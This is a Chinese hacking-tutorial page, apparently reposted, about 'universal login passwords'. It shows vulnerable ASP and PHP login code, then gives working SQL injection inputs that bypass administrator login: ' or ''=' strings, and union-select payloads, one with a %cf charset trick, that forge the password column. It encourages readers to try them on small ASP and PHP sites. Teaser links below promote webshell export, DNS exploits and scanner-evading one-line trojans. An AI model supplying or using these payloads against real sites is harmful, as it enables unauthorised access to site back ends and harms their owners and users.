黑客入侵常用的新型万能登陆密码

所属分类: 网络安全 / 黑客入侵 阅读数: 140
收藏 0 赞 0 分享
对于过滤了单引号或者做了post防注入的 站点,此方法也无能为力了;但对于很多对登陆端没做处理的网站,此方法值得一试,尤其是你已经知道源码了却不能执行命令(ACCESS数据库)或者对方能 报错( MYSQL数据库)。

首先我们回顾下老的万能密码or漏洞的实现机制,先帖一段asp源码:
---------------------------老的存在or漏洞的asp代码----------------------------------------

复制代码
代码如下:

username = request.form("username")
password = request.form("password ")
set rs=server.createobject("adodb.recordset")
sql = "select * from admin where UserName='"&username&"' And PassWord='"& password &"'"
rs.open sql,conn,1,3--------------------------------------------------------------------------------------------------------

将表单中的username和password数据分别赋值给username和password,执行
select * from admin where UserName='"&username&"' And PassWord='"&password&"' 语句
但如果被赋值的username是 ' or ''=' (password任意填写)则SQL语句变成了
select * from admin where UserName='' or ''='' And PassWord='123'
''=''条件成立,则语句成功找到管理表里首位的帐号身份验证登陆,因而成了or漏洞,除' or ''='以外,'or'='or' 啊什么的都可以,于是早年or漏洞形成了万能登陆密码。

针对这种or漏洞,很多asp站点进行了改进,改进后的源码大致如下:
---------------------------后来经过改进后的asp代码-----------------------------------------

复制代码
代码如下:

username = request.form("username")
password = request.form("password ")
set rs=server.createobject("adodb.recordset")
sql = "select [password] from admin where UserName='"&username&"'"
rs.open sql,conn,1,3
If password = rs("password") then
…’登陆成功,文章来源:http://www.oldjun.com/
End if--------------------------------------------------------------------------------------------------------

现在很多asp站点的登陆页面都是这么写的,如果是mssql,还可以执行SQL语句;但如果是ACCESS,很多人应该都会望而却步了吧?其实在没有过滤单引号的情况下,我们还是可以用“万能密码”登陆进后台的。

下面我们进入主题,讨论新型万能登陆密码,以php代码为例,由于字符集编码的问题,管理登陆端可以注入,先看源码:

-----------存在字符集漏洞或者magic_quotes_gpc为off的php代码-------------------

复制代码
代码如下:

$row=$DB->query_first("SELECT * FROM admin WHERE username='$username'");
If($row){
if($password!=$row[password]) {
…..//成功,文章来源:http://www.oldjun.com/
}else{
echo "用户名或密码错误!";
}
}else{
echo "用户名或密码错误!";
}--------------------------------------------------------------------------------------------------------

由于字符集问题,我们可以注入,但由于回显都一样,所以猜不到数据。根据错误提示,我们发现管理表一共6列,password在第三列,于是我们构造如下用户名与密码:
Username=-1%cf' union select 1,1,1 as password,1,1,1 %23
Password=1
带入登陆框,sql语句为:
SELECT * FROM admin WHERE username='-1蟎' union select 1,1 as password,1,1,1,1
前面的用户名肯定不存在,于是select出来的password就是1了,就等于提交的password了,经测试,成功绕过验证。

现在我们再回头看看之前改进过的asp登陆代码,我们该如何绕过呢,原理同上:
Username=-1' union select 1 as [password] from admin where '1'='1
Password=1
呵呵,轻松绕过认证,到此为止大家知道该如何利用了吧,对于现在绝大多数的小asp站以及一定规模的php站点,大家不防试试这个万能密码~
更多精彩内容其他人还在看

黑客谈MS07-029域名DNS漏洞利用入侵过程

前言: MS07-029,Windows 域名系统 (DNS) 服务器服务的远程过程调用 (RPC) 管理接口中存在基于堆栈的缓冲区溢出。漏洞的前提是没打补丁,开启DNS服务的所有版本WINDOWS 2000 Server和WINDOWS 2003 Server。 今天
收藏 0 赞 0 分享

黑客教你SQL注入Access导出WebShell的方法

热 点: 已经听N个人过说有人已经发现SQL注入Access得到webshell的技术了,也只是听说而已,具体的细节还是不得而知。 最近在看的书中一章提到Jet的安全,然后灵光一闪,呵呵,发现了一种可以利用access导出asp的方法,分享之。
收藏 0 赞 0 分享

一个注射点,一个webshell甚至系统权限

————只要给我一个注射点,无论什么权限,我都给你一个webshell甚至系统权限 声明:本文仅用于教学目的,如果因为本文造成的攻击后果本人概不负责。因为 发觉其危害过大,原文已经经过大量删减及修改,即使这样本文的危害性
收藏 0 赞 0 分享

黑客实战:一次简单脚本攻击实例

一、开篇 今天闲着无聊,到本地区的一个社区上转转,那些人污言秽语的,有个帖子还侵犯了一个朋友的版权,跟贴说了那人几句,管理员也不管,实在看不下去了,打算给管理员盆冷水清醒清醒。 二、准备/分析 安全第一,先开个HTTP代理,打开社区的登陆页面,
收藏 0 赞 0 分享

eWebEditor编辑器成网站中的隐形炸弹

站长在使用eWebEditor的时候是否发现,eWebEditor配置不当会使其成为网站中的隐形炸弹呢?第一次发现这漏洞源于去年的一次入侵,在山穷水尽的时候发现了eWebEditor,于是很简单就获得了WebShell。后来又有好几次利用eWebEditor进行入侵的成功经历,这
收藏 0 赞 0 分享

系统泄露密码的入侵攻击分析

WINDOWS访问139端口时自动用当前用户、密码连接,造成泄露用户密码,虽然其密码是加密的,但一样可以用来攻击。   下面是SMB的密码认证方式。   WINDOWS的139口的访问过程,箭头表示数据方向:   1.客户端<---------------
收藏 0 赞 0 分享

看看黑客是怎样使用Google黑掉Windows服务器

在我的《为什么使用Google扫描安全漏洞》的技巧中,我讨论了如何使用Google.com来执行对你的面向公众的服务器的安全扫描――包括Windows、IIS、Apache和(但愿不会如此!)SQL Server。你能使用它得到服务器的信息、包含敏感信息的文件和检测出&ldquo
收藏 0 赞 0 分享

黑客总结的实用的网站渗透步骤

本文是黑客们总结的比较实用的网站渗透的一些步骤
收藏 0 赞 0 分享

一句话木马加密 过护卫神云查杀系统 过shell扫描器

这个一句话木马最近被利用的很多,很多扫描工具扫描不到,不过一些asp版的扫描工具支持扫描eval和execute,如果发现如下代码,请删除,下面就是他们常发的木马后门
收藏 0 赞 0 分享

安全狗下添加用户的另一方法(大量操作实现突破)

这篇文章主要是针对安装服务器安全狗的机器,突破添加用户的操作,用for循环实现,但如果服务器安装了360就无法使用
收藏 0 赞 0 分享
查看更多